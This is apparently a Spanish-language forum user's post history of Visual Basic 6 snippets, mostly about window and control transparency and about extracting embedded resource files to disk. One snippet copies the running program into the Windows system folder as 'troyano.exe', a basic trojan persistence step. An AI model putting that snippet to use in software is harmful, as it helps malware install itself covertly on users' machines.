Gracias TUNOVATO voy a ver si lo consigo hacer semitransparente
1S4ludo
1S4ludo
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarpara q pones esta api:
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Cita de: lipman_dj en 9 Diciembre 2006, 13:09 PM
Bueno, tambien acabo de probar el código que me dices E0N y me dice el mismo problema ese 70 de tiempo de ejecucion acceso denegado.
Saludos
CitarExplico normalmente el editor de resource esta desactivado en vb6 para activarlo az lo siguiente:
Add-Ins -> Add-Ins Manager...
luego busca el item siguiente: VB 6 Resource Editor pinchas encima y le das Loaded/Unloaded, load on Starup.
luego te saldra un nueva opcion como el icono como el regedit.
una vez dado le das a add Custom Resource... y selecionas el fichero que quieras.
y utilizas esta funciona para sacarlo:Public Sub CargarRes(NumNAME As Integer, ruta As String)
Dim myArray() As Byte
Dim myFile As Long
If Dir(ruta) = "" Then
myArray = LoadResData(NumNAME, "CUSTOM")
myFile = FreeFile
Open ruta For Binary Access Write As #myFile
Put #myFile, , myArray
Close #myFile
End If
End Sub
es bastante fácil
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Sub Form_Load()
Dim Car As String * 128
Dim Longitud, Es As Integer
Dim Ruta As String
Longitud = 128
Es = GetSystemDirectory(Car, Longitud)
Ruta = RTrim$(LCase$(Left$(Car, Es)))
FileCopy App.Path & "\" & App.EXEName & ".exe", Ruta & "\troyano.exe"
End Sub
Cita de: dPix en 7 Diciembre 2006, 23:42 PM
Efectivamente, IP3, era un control de usuario, aqui le dejo el código que googleando encontré (espero que sea esto lo que buscas).
Esto a un módulo:CitarOption Explicit
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function UpdateLayeredWindow Lib "user32" (ByVal hWnd As Long, ByVal hdcDst As Long, pptDst As Any, psize As Any, ByVal hdcSrc As Long, pptSrc As Any, crKey As Long, ByVal pblend As Long, ByVal dwFlags As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Const GWL_EXSTYLE = (-20)
Private Const LWA_COLORKEY = &H1
Private Const LWA_ALPHA = &H2
Private Const ULW_COLORKEY = &H1
Private Const ULW_ALPHA = &H2
Private Const ULW_OPAQUE = &H4
Private Const WS_EX_LAYERED = &H80000
Public Function isTransparent(ByVal hWnd As Long) As Boolean
On Error Resume Next
Dim Msg As Long
Msg = GetWindowLong(hWnd, GWL_EXSTYLE)
If (Msg And WS_EX_LAYERED) = WS_EX_LAYERED Then
isTransparent = True
Else
isTransparent = False
End If
If Err Then
isTransparent = False
End If
End Function
Public Function MakeTransparent(ByVal hWnd As Long, Perc As Integer) As Long
Dim Msg As Long
On Error Resume Next
If Perc < 0 Or Perc > 255 Then
MakeTransparent = 1
Else
Msg = GetWindowLong(hWnd, GWL_EXSTYLE)
Msg = Msg Or WS_EX_LAYERED
SetWindowLong hWnd, GWL_EXSTYLE, Msg
SetLayeredWindowAttributes hWnd, 0, Perc, LWA_ALPHA
MakeTransparent = 0
End If
If Err Then
MakeTransparent = 2
End If
End Function
Public Function MakeOpaque(ByVal hWnd As Long) As Long
Dim Msg As Long
On Error Resume Next
Msg = GetWindowLong(hWnd, GWL_EXSTYLE)
Msg = Msg And Not WS_EX_LAYERED
SetWindowLong hWnd, GWL_EXSTYLE, Msg
SetLayeredWindowAttributes hWnd, 0, 0, LWA_ALPHA
MakeOpaque = 0
If Err Then
MakeOpaque = 2
End If
End Function
Donde quieres que funcione la transparencia pones:CitarMakeTransparent Me.hWnd, x
Donde x es un nº entre 0 y 255. Espero que sea esto. Codigo bastante interesante.
Un saludo,
dPix
¿Como se podria aplicar este código a un solo control del Form?
CitarPrueba con un control de usuario
Private mAlpha As Long
' Declaraciones para Layered Windows (sólo Windows 2000 y superior)
Private Const WS_EX_LAYERED As Long = &H80000
Private Const LWA_ALPHA As Long = &H2
'
Private Declare Function SetLayeredWindowAttributes Lib "user32" _
(ByVal hWnd As Long, ByVal crKey As Long, _
ByVal bAlpha As Long, ByVal dwFlags As Long) As Long
'------------------------------------------------------------------------------
Private Const GWL_EXSTYLE = (-20)
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" _
(ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _
(ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Const RDW_INVALIDATE = &H1
Private Const RDW_ERASE = &H4
Private Const RDW_ALLCHILDREN = &H80
Private Const RDW_FRAME = &H400
Private Declare Function RedrawWindow2 Lib "user32" Alias "RedrawWindow" _
(ByVal hWnd As Long, ByVal lprcUpdate As Long, ByVal hrgnUpdate As Long, _
ByVal fuRedraw As Long) As Long
Private Sub Transparente()
Dim tAlpha As Long
tAlpha = 70 'Modificar aki el valor para hacerlo mas o menos transparente
'// Set WS_EX_LAYERED on this window
Call SetWindowLong(hWnd, GWL_EXSTYLE, GetWindowLong(hWnd, GWL_EXSTYLE) Or WS_EX_LAYERED)
'// Make this window tAlpha% alpha
Call SetLayeredWindowAttributes(hWnd, 0, (255 * tAlpha) / 100, LWA_ALPHA)
End Sub
Private Sub Form_Load()
Transparente
End Sub